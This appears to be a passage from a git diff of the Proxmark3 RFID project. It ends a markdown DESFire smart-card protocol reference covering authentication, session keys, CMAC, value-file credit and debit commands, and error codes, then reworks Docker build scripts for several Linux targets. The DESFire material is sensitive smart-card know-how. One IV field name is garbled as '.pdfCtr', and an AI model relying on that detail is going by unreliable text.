desfire_ev3_authentication.pdf, lines 18-25] + +2. **Complete Authentication**: + - Similar challenge-response + - Generates Transaction Identifier (TI) + - Establishes secure channel + +#### EV2NonFirst Authentication +``` +PCD → PICC: 77 [KeyNo] +``` +Requires previous EV2First in same session +[Source: desfire_ev3_authentication.pdf, lines 27-30] + +### Session Key Generation + +#### DES Session Key (8 bytes) +``` +SessionKey = RndA[0:4] || RndB[0:4] +``` +[Source: DESFire DES authentication D40-DES authentification.pdf, lines 66-71] + +#### 2K3DES Session Key (16 bytes) +``` +SessionKey = RndA[0:4] || RndB[0:4] || RndA[4:8] || RndB[4:8] +``` +[Source: DESFire.py, lines 135-136] + +#### 3K3DES Session Key (24 bytes) +``` +SessionKey = RndA[0:4] || RndB[0:4] || + RndA[6:10] || RndB[6:10] || + RndA[12:16] || RndB[12:16] +``` +[Source: DESFire.py, lines 138-141] + +#### AES Session Key (16 bytes) +``` +SessionKey = RndA[0:4] || RndB[0:4] || RndA[12:16] || RndB[12:16] +``` +[Source: DESFire.py, lines 143-144] + +### CMAC Calculation + +#### Subkey Generation +```python +# Generate L by encrypting zero block +L = AES_Encrypt(Key, 0x00000000000000000000000000000000) + +# Generate K1 +K1 = L << 1 +if MSB(L) == 1: + K1 = K1 XOR Rb # Rb = 0x87 for AES + +# Generate K2 +K2 = K1 << 1 +if MSB(K1) == 1: + K2 = K2 XOR Rb +``` +[Source: mifare_desfire_crypto.c, lines 95-123] + +#### CMAC Calculation +1. Pad message if needed (0x80 0x00...) +2. XOR last block with K1 (complete) or K2 (incomplete) +3. CBC encrypt all blocks +4. Final block is CMAC + +[Source: mifare_desfire_crypto.c, lines 126-151] + +--- + +## File Types and Operations + +### Standard Data File Operations + +#### CreateStdDataFile +``` +Command: CD [FileNo] [CommSettings] [AccessRights] [FileSize] +Example: CD 01 00 00 00 00 10 00 00 // File 01, plain, free access, 16 bytes +``` +[Source: protocols.h, line 357] + +#### ReadData +``` +Command: BD [FileNo] [Offset-3B] [Length-3B] +Example: BD 01 00 00 00 10 00 00 // Read 16 bytes from offset 0 +``` +[Source: protocols.h, line 367] + +#### WriteData +``` +Command: 3D [FileNo] [Offset-3B] [Length-3B] [Data] +Example: 3D 01 00 00 00 04 00 00 DE AD BE EF // Write 4 bytes +``` +[Source: protocols.h, line 368] + +### Value File Operations + +#### CreateValueFile +``` +Command: CC [FileNo] [CommSettings] [AccessRights] [LowerLimit-4B] [UpperLimit-4B] [Value-4B] [LimitedCreditEnable] +Example: CC 02 00 00 00 00 00 00 00 E8 03 00 00 00 00 00 00 01 + // Value file 02, limits 0-1000, initial 0, limited credit enabled +``` +[Source: protocols.h, line 359] + +#### Credit Operation +``` +Command: 0C [FileNo] [Amount-4B] +Example: 0C 02 64 00 00 00 // Credit 100 to file 02 +``` +[Source: protocols.h, line 370] + +#### Debit Operation +``` +Command: DC [FileNo] [Amount-4B] +Example: DC 02 0A 00 00 00 // Debit 10 from file 02 +``` +[Source: protocols.h, line 371] + +### Record File Operations + +#### CreateLinearRecordFile +``` +Command: C1 [FileNo] [CommSettings] [AccessRights] [RecordSize-3B] [MaxRecords-3B] +Example: C1 03 00 00 00 20 00 00 0A 00 00 + // Linear record file 03, 32-byte records, max 10 records +``` +[Source: protocols.h, line 360] + +#### WriteRecord +``` +Command: 3B [FileNo] [Offset-3B] [Length-3B] [Data] +Example: 3B 03 00 00 00 20 00 00 [32 bytes of data] +``` +[Source: protocols.h, line 373] + +#### ReadRecords +``` +Command: BB [FileNo] [RecordNo-3B] [NumRecords-3B] +Example: BB 03 00 00 00 05 00 00 // Read 5 records starting from record 0 +``` +[Source: protocols.h, line 374] + +### Transaction Mechanism + +For Backup and Value files: +1. Perform operations (Write, Credit, Debit) +2. Changes are pending until: + - **CommitTransaction (0xC7)**: Apply changes + - **AbortTransaction (0xA7)**: Discard changes + +[Source: protocols.h, lines 376-377] + +--- + +## Cryptographic Implementation + +### Key Diversification (AN10922) + +#### Algorithm Steps +1. **Prepare Diversification Input**: + ``` + M = [Constant] || [UID] || [AID] || [SystemIdentifier] + ``` + Constants: + - 0x01: AES-128 + - 0x21: 2K3DES + - 0x31: 3K3DES + [Source: mifare_key_deriver.c, lines 10-17] + +2. **Calculate Diversified Key**: + ``` + DiversifiedKey = CMAC(MasterKey, M) + ``` + [Source: mifare_key_deriver.c, lines 101-177] + +### Secure Messaging + +#### MACed Communication Mode (0x01) +- Commands sent in plain +- Response includes 8-byte CMAC +- CMAC covers: Response Data + Status Code +[Source: various implementation files] + +#### Full Enciphered Mode (0x03) +- Command data encrypted after authentication +- Response data encrypted +- Both include CMAC for integrity +- Uses session keys and IVs + +### IV Generation + +#### EV1 IV Handling +- Initial IV: All zeros +- Subsequent: Last block of previous crypto operation + +#### EV2/EV3 IV Generation +``` +IV = EncryptedFlag || TI || .pdfCtr || ZeroPadding +``` +- TI: Transaction Identifier (4 bytes) +- .pdfCtr: Command Counter (2 bytes) +[Source: hf_desfire.c and crypto implementations] + +--- + +## Communication Modes + +### Plain Communication (0x00) +- No encryption or MACing +- Suitable for public data +- Fastest performance +- No authentication required for read + +### MACed Communication (0x01) +- Data transmitted in plain +- 8-byte CMAC appended to responses +- Integrity protection +- Requires authentication + +### Fully Enciphered Communication (0x03) +- All data encrypted +- CMAC for integrity +- Maximum security +- Requires authentication +- Performance impact + +--- + +## Error Codes Reference + +### Common Error Scenarios + +#### 0x9D - PERMISSION_DENIED +- Attempting operation without required authentication +- Wrong key authenticated for operation +- Access rights don't permit operation + +#### 0xAE - AUTHENTICATION_ERROR +- Authentication protocol failure +- Wrong key or key version +- Corrupted authentication data + +#### 0x7E - LENGTH_ERROR +- Command parameters wrong length +- Data exceeds file size +- Frame size exceeded + +#### 0xA0 - APPLICATION_NOT_FOUND +- Invalid AID selected +- Application was deleted +- Card not properly initialized + +--- + +## Implementation Examples + +### Example 1: Creating an Application with AES Keys +```python +# Create application 0x000001 with 5 AES keys +aid = [0x01, 0x00, 0x00] +key_settings = 0x0F # All keys changeable, free directory +num_keys = 0x85 # 5 keys, AES encryption (bit 7 set) + +command = [0xCA] + aid + [key_settings, num_keys] +response = send_command(command) +``` + +### Example 2: Secure File Write with MACing +```python +# Authenticate first +authenticate_aes(key_no=0x01, key=master_key) + +# Create MACed file +create_std_file(file_no=0x01, + comm_settings=0x01, # MACed + access_rights=0x0000, # Free access + file_size=32) + +# Write data (will be MACed automatically) +write_data(file_no=0x01, offset=0, data=b"Secure data here") +``` + +### Example 3: Value File Transaction +```python +# Create value file with limits +create_value_file(file_no=0x02, + lower_limit=0, + upper_limit=10000, + initial_value=1000, + limited_credit=True) + +# Perform operations +credit(file_no=0x02, amount=500) # Balance: 1500 +debit(file_no=0x02, amount=200) # Balance: 1300 + +# Commit all changes +commit_transaction() +``` + +--- + +## Bibliography + +### Primary Sources (Datasheets) +1. **AN11004**: MIFARE DESFire EV1 Features and Hints +2. **AN12696**: MIFARE DESFire EV2 Features and Hints +3. **AN12753**: MIFARE DESFire EV3 Features and Hints +4. **MF3D_H_X3_SDS**: MIFARE DESFire EV3 Secure Data Sheet +5. **PLT-05618**: MIFARE DESFire EV3 Application Note +6. **[0011955][v1.0]**: ST Pegasus DESFire Light v1.0 Specification +7. **AN-315**: Understanding Protege MIFARE DESFire Credentials + +### Implementation Sources +1. **protocols.h**: Proxmark3 DESFire protocol definitions +2. **hf_desfire.c**: Proxmark3 DESFire implementation +3. **DESFire.py**: Python DESFire implementation +4. **DESFire_DEF.py**: Python DESFire constants +5. **mifare_desfire.c**: libfreefare C implementation +6. **mifare_desfire_crypto.c**: libfreefare crypto implementation +7. **DesfireEv3.java**: Android DESFire EV3 implementation + +### Documentation Sources +1. **desfire_ev3_authentication.pdf**: EV3 authentication details +2. **desfire_ev3_file_operations.pdf**: EV3 file operation examples +3. **DESFire DES authentication D40-DES authentification.pdf**: Legacy auth flow +4. **DESFire TDES decryption SEND mode.pdf**: TDES implementation details +5. **auth1d_d40.pdf**: D40 authentication documentation + +### Additional References +1. ISO/IEC 14443-4: Proximity cards protocol +2. ISO/IEC 7816-4: Smart card APDU specification +3. Common Criteria EAL5+ certification documents +4. NIST SP 800-38B: CMAC specification +5. AN10922: NXP Key Diversification + +--- + +*End of The Unofficial DESFire Bible* + +*Compiled from official documentation and implementation sources* +*All information includes inline citations for verification* +*Last updated: Based on DESFire EV3 specifications* \ No newline at end of file diff --git a/docker/archlinux/Dockerfile b/docker/archlinux/Dockerfile index d020b7052..900b9d04c 100644 --- a/docker/archlinux/Dockerfile +++ b/docker/archlinux/Dockerfile @@ -15,6 +15,12 @@ RUN pacman -S --noconfirm ocl-icd # Create rrg user RUN useradd -ms /bin/bash rrg RUN passwd -d rrg +ARG UART_GID +# dialout group may already exist on another numeric ID than on host +RUN if [ -n "${UART_GID}" ]; then \ + groupadd -g ${UART_GID} mydialout || true; \ + usermod -aG ${UART_GID} rrg; \ + fi RUN printf 'rrg ALL=(ALL) ALL\n' | tee -a /etc/sudoers USER rrg diff --git a/docker/archlinux/docker_build.sh b/docker/archlinux/docker_build.sh deleted file mode 100755 index be92402d6..000000000 --- a/docker/archlinux/docker_build.sh +++ /dev/null @@ -1,3 +0,0 @@ -#!/bin/bash - -docker build -t "pm3-arch:1.0" . diff --git a/docker/archlinux/docker_conf.inc b/docker/archlinux/docker_conf.inc new file mode 100644 index 000000000..0f069bf63 --- /dev/null +++ b/docker/archlinux/docker_conf.inc @@ -0,0 +1 @@ +DOCKER_IMAGE=pm3-arch:1.0 diff --git a/docker/archlinux/docker_rm.sh b/docker/archlinux/docker_rm.sh deleted file mode 100644 index 0c2d24f4e..000000000 --- a/docker/archlinux/docker_rm.sh +++ /dev/null @@ -1,4 +0,0 @@ -#!/bin/bash - -docker rm $(docker ps -aq --filter ancestor=pm3-arch:1.0) -docker image rm pm3-arch:1.0 diff --git a/docker/archlinux/docker_run.sh b/docker/archlinux/docker_run.sh deleted file mode 100755 index f379c5307..000000000 --- a/docker/archlinux/docker_run.sh +++ /dev/null @@ -1,3 +0,0 @@ -#!/bin/bash - -docker run --volume=$(pwd)/../..:/home/rrg/proxmark3 -w /home/rrg/proxmark3 -it pm3-arch:1.0 diff --git a/docker/build-all.sh b/docker/build-all.sh index ed56a0972..a71727ee6 100755 --- a/docker/build-all.sh +++ b/docker/build-all.sh @@ -1,5 +1,5 @@ #!/bin/bash -for os in archlinux debian-12-bookworm fedora-36 fedora-37 homebrew kali opensuse-leap opensuse-tumbleweed parrot-core-latest ubuntu-20.04 ubuntu-22.04; do - ( cd $os && ./docker_build.sh ) +for os in archlinux debian-12-bookworm debian-12-bookworm-arm64 debian-12-bookworm-armhf debian-13-trixie fedora-36 fedora-37 homebrew kali opensuse-leap opensuse-tumbleweed parrot-core-latest ubuntu-20.04 ubuntu-22.04; do + ( cd $os && ../build.sh ) done diff --git a/docker/build.sh b/docker/build.sh new file mode 100755 index 000000000..499100942 --- /dev/null +++ b/docker/build.sh @@ -0,0 +1,26 @@ +#!/bin/bash + +if [ ! -e docker_conf.inc ]; then + echo "This script must be run from within one of the subfolders" + exit 1 +fi +. docker_conf.inc +# Make sure to connect a Proxmark3 when building if you want to be able to access it from within the Docker instance +UART_PORT="$(../../pm3 --list|grep /dev|head -n1|cut -d' ' -f2)" +if [ -n "$UART_PORT" ]; then + UART_GID="$(stat -c '%g' $UART_PORT)" + BUILDARG="--build-arg UART_GID=$UART_GID" +else + BUILDARG="" +fi + +# For cross-platform support: +# cf https://github.com/multiarch/qemu-user-static +#sudo apt install qemu-user-static +# credential=yes needed to get proper sudo support in cross-platform Docker instances +#docker run --rm --privileged multiarch/qemu-user-static --reset -p yes --credential yes +#docker buildx create --use +#docker buildx inspect --bootstrap +#docker buildx build $DOCKER_PLATFORM $BUILDARG -t "$DOCKER_IMAGE" --load . +# Seems to work without buildx: +docker build $DOCKER_PLATFORM $BUILDARG -t "$DOCKER_IMAGE" . diff --git a/docker/debian-11-bullseye/README.md b/docker/debian-11-bullseye/README.md deleted file mode 100644 index 3a7775b7c..000000000 --- a/docker/debian-11-bullseye/README.md +++ /dev/null @@ -1,21 +0,0 @@ -# Notes on run_tests.sh script -This script runs a bunch of different builds with make and cmake together -with the different combos of RDV4, GENERIC, BTADDON combos. - -If all tests OK, the script will finish with PASS. - - -# Notes to run tests -The script is to be run in proxmark root folder inside the docker env. - -``` -docker/debian-11-bullseye/run_tests.sh; -``` - -Or if you want to run single test, - -``` -sudo apt update -make clean; make -j -tools/pm3_tests.sh --long -``` diff --git a/docker/debian-11-bullseye/docker_build.sh b/docker/debian-11-bullseye/docker_build.sh deleted file mode 100755 index 3b44dd72c..000000000 --- a/docker/debian-11-bullseye/docker_build.sh +++ /dev/null @@ -1,3 +0,0 @@ -#!/bin/bash - -docker build -t "pm3-debian-bullseye:1.0" . diff --git a/docker/debian-11-bullseye/docker_rm.sh b/docker/debian-11-bullseye/docker_rm.sh deleted file mode 100644 index b8ce5b834..000000000 --- a/docker/debian-11-bullseye/docker_rm.sh +++ /dev/null @@ -1,4 +0,0 @@ -#!/bin/bash - -docker rm $(docker ps -aq --filter ancestor=pm3-debian-bullseye:1.0) -docker image rm pm3-debian-bullseye:1.0 diff --git a/docker/debian-11-bullseye/docker_run.sh b/docker/debian-11-bullseye/docker_run.sh deleted file mode 100755 index 1216f54cd..000000000 --- a/docker/debian-11-bullseye/docker_run.sh +++ /dev/null @@ -1,3 +0,0 @@ -#!/bin/bash - -docker run --volume=$(pwd)/../..:/home/rrg/proxmark3 -w /home/rrg/proxmark3 -it pm3-debian-bullseye:1.0 diff --git a/docker/debian-11-bullseye/run_tests.sh b/docker/debian-11-bullseye/run_tests.sh deleted file mode 100755 index 9c7128942..000000000 --- a/docker/debian-11-bullseye/run_tests.sh +++ /dev/null @@ -1,8 +0,0 @@ -#!/usr/bin/env bash -# Iceman 2022 -# -# This script is to be run from proxmark root folder inside the docker env -# docker/debian-11-bullseye/run_tests.sh; - -sudo apt update && sudo apt upgrade -y -tools/release_tests.sh diff --git a/docker/ubuntu-20.04/Dockerfile b/docker/debian-12-bookworm-arm64/Dockerfile similarity index 67% rename from docker/ubuntu-20.04/Dockerfile rename to docker/debian-12-bookworm-arm64/Dockerfile index 4b9bed06f..792014812 100644 --- a/docker/ubuntu-20.04/Dockerfile +++ b/docker/debian-12-bookworm-arm64/Dockerfile @@ -1,25 +1,22 @@ -FROM ubuntu:20.04 +FROM arm64v8/debian:bookworm-slim ENV LANG=C ENV DEBIAN_FRONTEND=noninteractive # qtbase5-dev skipped RUN apt-get update && \ - apt-get upgrade -y && \ apt-get dist-upgrade -y && \ apt-get install -y --no-install-recommends git ca-certificates build-essential cmake pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev sudo && \ apt-get clean -RUN apt-get install -y python3-minimal && \ - apt-get install -y python3-pip && \ - apt-get clean && \ - python3 -m pip install ansicolors sslcrypto - -RUN apt-get install -y opencl-dev && \ - apt-get clean - # Create rrg user RUN useradd -ms /bin/bash rrg RUN passwd -d rrg +ARG UART_GID +# dialout group may already exist on another numeric ID than on host +RUN if [ -n "${UART_GID}" ]; then \ + groupadd -g ${UART_GID} mydialout || true; \ + usermod -aG ${UART_GID} rrg; \ + fi RUN printf 'rrg ALL=(ALL) ALL\n' | tee -a /etc/sudoers USER rrg diff --git a/docker/debian-12-bookworm-arm64/README.md b/docker/debian-12-bookworm-arm64/README.md new file mode 100644 index 000000000..2ffa42d1a --- /dev/null +++ b/docker/debian-12-bookworm-arm64/README.md @@ -0,0 +1,17 @@ +# Notes to run tests + +``` +sudo apt update +sudo apt install -y python3-minimal +sudo apt install -y python3-pip +sudo apt install python3.11-venv +python3 -m venv /tmp/venv +source /tmp/venv/bin/activate +python3 -m pip install --use-pep517 pyaes +python3 -m pip install ansicolors sslcrypto +git config --global --add safe.directory /home/rrg/proxmark3 +cd proxmark3 +make clean +make -j +tools/pm3_tests.sh --long +``` diff --git a/docker/debian-12-bookworm-arm64/docker_conf.inc b/docker/debian-12-bookworm-arm64/docker_conf.inc new file mode 100644 index 000000000..753d89ff3 --- /dev/null +++ b/docker/debian-12-bookworm-arm64/docker_conf.inc @@ -0,0 +1,2 @@ +DOCKER_IMAGE=pm3-debian-bookworm-arm64:1.0 +DOCKER_PLATFORM="--platform linux/arm64" diff --git a/docker/ubuntu-22.04/Dockerfile b/docker/debian-12-bookworm-armhf/Dockerfile similarity index 67% rename from docker/ubuntu-22.04/Dockerfile rename to docker/debian-12-bookworm-armhf/Dockerfile index 44dd0919e..e5d5acf2b 100644 --- a/docker/ubuntu-22.04/Dockerfile +++ b/docker/debian-12-bookworm-armhf/Dockerfile @@ -1,25 +1,22 @@ -FROM ubuntu:22.04 +FROM arm32v7/debian:bookworm-slim ENV LANG=C ENV DEBIAN_FRONTEND=noninteractive # qtbase5-dev skipped RUN apt-get update && \ - apt-get upgrade -y && \ apt-get dist-upgrade -y && \ apt-get install -y --no-install-recommends git ca-certificates build-essential cmake pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev libssl-dev libgd-dev sudo && \ apt-get clean -RUN apt-get install -y python3-minimal && \ - apt-get install -y python3-pip && \ - apt-get clean && \ - python3 -m pip install ansicolors sslcrypto - -RUN apt-get install -y opencl-dev && \ - apt-get clean - # Create rrg user RUN useradd -ms /bin/bash rrg RUN passwd -d rrg +ARG UART_GID +# dialout group may already exist on another numeric ID than on host +RUN if [ -n "${UART_GID}" ]; then \ + groupadd -g ${UART_GID} mydialout || true; \ + usermod -aG ${UART_GID} rrg; \ + fi RUN printf 'rrg ALL=(ALL) ALL\n' | tee -a /etc/sudoers USER rrg diff --git a/docker/debian-12-bookworm-armhf/README.md b/docker/debian-12-bookworm-armhf/README.md new file mode 100644 index 000000000..2ffa42d1a --- /dev/null +++ b/docker/debian-12-bookworm-armhf/README.md @@ -0,0 +1,17 @@ +# Notes to run tests + +``` +sudo apt update +sudo apt install -y python3-minimal +sudo apt install -y python3-pip +sudo apt install python3.11-venv +python3 -m venv /tmp/venv +source /tmp/venv/bin/activate +python3 -m pip install --use-pep517 pyaes +python3 -m pip install ansicolors sslcrypto +git config --global --add safe.directory /home/rrg/proxmark3 +cd proxmark3 +make clean +make -j +tools/pm3_tests.sh --long +``` diff --git a/docker/debian-12-bookworm-armhf/docker_conf.inc b/docker/debian-12-bookworm-armhf/docker_conf.inc new file mode 100644 index 000000000..3c9160afc --- /dev/null +++ b/docker/debian-12-bookworm-armhf/docker_conf.inc @@ -0,0 +1,2 @@ +DOCKER_IMAGE=pm3-debian-bookworm-armhf:1.0 +DOCKER_PLATFORM="--platform linux/arm/v7" diff --git a/docker/debian-12-bookworm/Dockerfile b/docker/debian-12-bookworm/Dockerfile index f2878701e..6c883746d 100644 --- a/docker/debian-12-bookworm/Dockerfile +++ b/docker/debian-12-bookworm/Dockerfile @@ -18,6 +18,12 @@ RUN apt-get install -y opencl-dev && \ # Create rrg user RUN useradd -ms /bin/bash rrg RUN passwd -d rrg +ARG UART_GID +# dialout group may already exist on another numeric ID than on host +RUN if [ -n "${UART_GID}" ]; then \ + groupadd -g ${UART_GID} mydialout || true; \ + usermod -aG ${UART_GID} rrg; \ + fi RUN printf 'rrg ALL=(ALL) ALL\n' | tee -a /etc/sudoers USER rrg diff --git a/docker/debian-12-bookworm/docker_build.sh b/docker/debian-12-bookworm/docker_build.sh deleted file mode 100755 index 0059348cf..000000000 --- a/docker/debian-12-bookworm/docker_build.sh +++ /dev/null @@ -1,3 +0,0 @@ -#!/bin/bash - -docker build -t "pm3-debian-bookworm:1.0" . diff --git a/docker/debian-12-bookworm/docker_conf.inc b/docker/debian-12-bookworm/docker_conf.inc new file mode 100644 index 000000000..6d979b6cc --- /dev/null +++ b/docker/debian-12-bookworm/docker_conf.inc @@ -0,0 +1 @@ +DOCKER_IMAGE=pm3-debian-bookworm:1.0 diff --git a/docker/debian-12-bookworm/docker_rm.sh b/docker/debian-12-bookworm/docker_rm.sh deleted file mode 100644 index 5818564e0..000000000 --- a/docker/debian-12-bookworm/docker_rm.sh +++ /dev/null @@ -1,4 +0,0 @@ -#!/bin/bash - -docker rm $(docker ps -aq --filter ancestor=pm3-debian-bookworm:1.0) -docker image rm pm3-debian-bookworm:1.0 diff --git a/docker/debian-12-bookworm/docker_run.sh b/docker/debian-12-bookworm/docker_run.sh deleted file mode 100755 index ae264581a..000000000 --- a/docker/debian-12-bookworm/docker_run.sh +++ /dev/null @@ -1,3 +0,0 @@ -#!/bin/bash - -docker run --volume=$(pwd)/../..:/home/rrg/proxmark3 -w /home/rrg/proxmark3 -it pm3-debian-bookworm:1.0 diff --git a/docker/debian-13-trixie/Dockerfile b/docker/debian-13-trixie/Dockerfile index 120c0c706..607c5bba5 100644 --- a/docker/debian-13-trixie/Dockerfile +++ b/docker/debian-13-trixie/Dockerfile @@ -18,6 +18,12 @@ RUN apt-get install -y opencl-dev && \ # Create rrg user RUN useradd -ms /bin/bash rrg RUN passwd -d rrg +ARG UART_GID +# dialout group may already exist on another numeric ID than on host +RUN if [ -n "${UART_GID}" ]; then \ + groupadd -g ${UART_GID} mydialout || true; \ + usermod -aG ${UART_GID} rrg; \ + fi RUN printf 'rrg ALL=(ALL) ALL\n' | tee -a /etc/sudoers USER rrg diff --git a/docker/debian-13-trixie/docker_build.sh b/docker/debian-13-trixie/docker_build.sh deleted file mode 100755 index 22a5bdbc3..000000000 --- a/docker/debian-13-trixie/docker_build.sh +++ /dev/null @@ -1,3 +0,0 @@ -#!/bin/bash - -docker build -t "pm3-debian-trixie:1.0" . diff --git a/docker/debian-13-trixie/docker_conf.inc b/docker/debian-13-trixie/docker_conf.inc new file mode 100644 index 000000000..481a94e9f --- /dev/null +++ b/docker/debian-13-trixie/docker_conf.inc @@ -0,0 +1 @@ +DOCKER_IMAGE=pm3-debian-trixie:1.0 diff --git a/docker/debian-13-trixie/docker_rm.sh b/docker/debian-13-trixie/docker_rm.sh deleted file mode 100644 index 0afb68014..000000000 --- a/docker/debian-13-trixie/docker_rm.sh +++ /dev/null @@ -1,4 +0,0 @@ -#!/bin/bash - -docker rm $(docker ps -aq --filter ancestor=pm3-debian-trixie:1.0) -docker image rm pm3-debian-trixie:1.0 diff --git a/docker/debian-13-trixie/docker_run.sh b/docker/debian-13-trixie/docker_run.sh deleted file mode 100755 index bc81286fc..000000000 --- a/docker/debian-13-trixie/docker_run.sh +++ /dev/null @@ -1,3 +0,0 @@ -#!/bin/bash - -docker run --volume=$(pwd)/../..:/home/rrg/proxmark3 -w /home/rrg/proxmark3 -it pm3-debian-trixie:1.0 diff --git a/docker/fedora-36/README.md b/docker/fedora-36/README.md deleted file mode 100644 index 6648fb28d..000000000 --- a/docker/fedora-36/README.md +++ /dev/null @@ -1,21 +0,0 @@ -# Notes on run_tests.sh script -This script runs a bunch of different builds with make and cmake together -with the different combos of RDV4, GENERIC, BTADDON combos. - -If all tests OK, the script will finish with PASS. - - -# Notes to run tests -The script is to be run in proxmark root folder inside the docker env. - -``` -docker/fedora-36/run_tests.sh; -``` - -Or if you want to run single test, - -``` -sudo yum -y update -make clean; make -j -tools/pm3_tests.sh --long -``` diff --git a/docker/fedora-36/docker_build.sh b/docker/fedora-36/docker_build.sh deleted file mode 100755 index 1a2e2d392..000000000 --- a/docker/fedora-36/docker_build.sh +++ /dev/null @@ -1,3 +0,0 @@ -#!/bin/bash - -docker build -t "pm3-fedora-36:1.0" . diff --git a/docker/fedora-36/docker_rm.sh b/docker/fedora-36/docker_rm.sh deleted file mode 100644 index a14c31e80..000000000 --- a/docker/fedora-36/docker_rm.sh +++ /dev/null @@ -1,4 +0,0 @@ -#!/bin/bash - -docker rm $(docker ps -aq --filter ancestor=pm3-fedora-36:1.0) -docker image rm pm3-fedora-36:1.0 diff --git a/docker/fedora-36/docker_run.sh b/docker/fedora-36/docker_run.sh deleted file mode 100755 index 0e6e69925..000000000 --- a/docker/fedora-36/docker_run.sh +++ /dev/null @@ -1,3 +0,0 @@ -#!/bin/bash - -docker run --volume=$(pwd)/../..:/home/rrg/proxmark3 -w /home/rrg/proxmark3 -it pm3-fedora-36:1.0 diff --git a/docker/fedora-37/docker_build.sh b/docker/fedora-37/docker_build.sh deleted file mode 100755 index 5e3049b68..000000000 --- a/docker/fedora-37/docker_build.sh +++ /dev/null @@ -1,3 +0,0 @@ -#!/bin/bash - -docker build -t "pm3-fedora-37:1.0" . diff --git a/docker/fedora-37/docker_rm.sh b/docker/fedora-37/docker_rm.sh deleted file mode 100644 index 6f0bd7e56..000000000 --- a/docker/fedora-37/docker_rm.sh +++ /dev/null @@ -1,4 +0,0 @@ -#!/bin/bash - -docker rm $(docker ps -aq --filter ancestor=pm3-fedora-37:1.0) -docker image rm pm3-fedora-37:1.0 diff --git a/docker/fedora-37/docker_run.sh b/docker/fedora-37/docker_run.sh deleted file mode 100755 index eb51525b7..000000000 --- a/docker/fedora-37/docker_run.sh +++ /dev/null @@ -1,3 +0,0 @@ -#!/bin/bash - -docker run --volume=$(pwd)/../..:/home/rrg/proxmark3 -w /home/rrg/proxmark3 -it pm3-fedora-37:1.0 diff --git a/docker/fedora-37/run_tests.sh b/docker/fedora-37/run_tests.sh deleted file mode 100755 index 05cdb7da8..000000000 --- a/docker/fedora-37/run_tests.sh +++ /dev/null @@ -1,8 +0,0 @@ -#!/usr/bin/env bash -# Iceman 2022 -# -# This script is to be run from proxmark root folder inside the docker env -# docker/fedora-36/run_tests.sh; - -sudo yum -y update -tools/release_tests.sh diff --git a/docker/fedora-37/Dockerfile b/docker/fedora-41/Dockerfile similarity index 71% rename from docker/fedora-37/Dockerfile rename to docker/fedora-41/Dockerfile index 06462c721..959922831 100644 --- a/docker/fedora-37/Dockerfile +++ b/docker/fedora-41/Dockerfile @@ -1,4 +1,4 @@ -FROM fedora:37 +FROM fedora:41 ENV LANG=C # qt5-qtbase-devel skipped @@ -13,6 +13,12 @@ RUN yum -y install mesa-libOpenCL ocl-icd-devel # Create rrg user RUN useradd -ms /bin/bash rrg RUN passwd -d rrg +ARG UART_GID +# dialout group may already exist on another numeric ID than on host +RUN if [ -n "${UART_GID}" ]; then \ + groupadd -g ${UART_GID} mydialout || true; \ + usermod -aG ${UART_GID} rrg; \ + fi RUN printf 'rrg ALL=(ALL) ALL\n' | tee -a /etc/sudoers USER rrg diff --git a/docker/fedora-37/README.md b/docker/fedora-41/README.md similarity index 93% rename from docker/fedora-37/README.md rename to docker/fedora-41/README.md index 79c88e040..2c1d28040 100644 --- a/docker/fedora-37/README.md +++ b/docker/fedora-41/README.md @@ -8,7 +8,7 @@ If all tests OK, the script will finish with PASS. The script is to be run in proxmark root folder inside the docker env. ``` -docker/fedora-37/run_tests.sh; +docker/fedora-41/run_tests.sh; ``` Or if you want to run single test, diff --git a/docker/fedora-41/docker_conf.inc b/docker/fedora-41/docker_conf.inc new file mode 100644 index 000000000..eb8968f1c --- /dev/null +++ b/docker/fedora-41/docker_conf.inc @@ -0,0 +1 @@ +DOCKER_IMAGE=pm3-fedora-41:1.0 diff --git a/docker/fedora-36/run_tests.sh b/docker/fedora-41/run_tests.sh similarity index 82% rename from docker/fedora-36/run_tests.sh rename to docker/fedora-41/run_tests.sh index 05cdb7da8..b97b86afe 100755 --- a/docker/fedora-36/run_tests.sh +++ b/docker/fedora-41/run_tests.sh @@ -2,7 +2,7 @@ # Iceman 2022 # # This script is to be run from proxmark root folder inside the docker env -# docker/fedora-36/run_tests.sh; +# docker/fedora-41/run_tests.sh; sudo yum -y update tools/release_tests.sh diff --git a/docker/fedora-36/Dockerfile b/docker/fedora-42/Dockerfile similarity index 71% rename from docker/fedora-36/Dockerfile rename to docker/fedora-42/Dockerfile index 610738207..181ac02a3 100644 --- a/docker/fedora-36/Dockerfile +++ b/docker/fedora-42/Dockerfile @@ -1,4 +1,4 @@ -FROM fedora:36 +FROM fedora:42 ENV LANG=C # qt5-qtbase-devel skipped @@ -13,6 +13,12 @@ RUN yum -y install mesa-libOpenCL ocl-icd-devel # Create rrg user RUN useradd -ms /bin/bash rrg RUN passwd -d rrg +ARG UART_GID +# dialout group may already exist on another numeric ID than on host +RUN if [ -n "${UART_GID}" ]; then \ + groupadd -g ${UART_GID} mydialout || true; \ + usermod -aG ${UART_GID} rrg; \ + fi RUN printf 'rrg ALL=(ALL) ALL\n' | tee -a /etc/sudoers USER rrg diff --git a/docker/fedora-42/README.md b/docker/fedora-42/README.md new file mode 100644 index 000000000..25e0264e3 --- /dev/null +++ b/docker/fedora-42/README.md @@ -0,0 +1,20 @@ +# Notes on run_tests.sh script +This script runs a bunch of different builds with make and cmake together +with the different combos of RDV4, GENERIC, BTADDON combos. + +If all tests OK, the script will finish with PASS. + +# Notes to run tests +The script is to be run in proxmark root folder inside the docker env. + +``` +docker/fedora-42/run_tests.sh; +``` + +Or if you want to run single test, + +``` +sudo yum -y update +make clean; make -j +tools/pm3_tests.sh --long +``` diff --git a/docker/fedora-42/docker_conf.inc b/docker/fedora-42/docker_conf.inc new file mode 100644 index 000000000..002e2ec26 --- /dev/null +++ b/docker/fedora-42/docker_conf.inc @@ -0,0 +1 @@ +DOCKER_IMAGE=pm3-fedora-42:1.0 diff --git a/docker/fedora-42/run_tests.sh b/docker/fedora-42/run_tests.sh new file mode 100755 index 000000000..f94642645 --- /dev/null +++ b/docker/fedora-42/run_tests.sh @@ -0,0 +1,13 @@ +#!/usr/bin/env bash +# Iceman 2022 +# +# This script is to be run from proxmark root folder inside the docker env +# docker/fedora-42/run_tests.sh; + +sudo yum -y update +python3 -m venv /tmp/venv +source /tmp/venv/bin/activate +python3 -m pip install 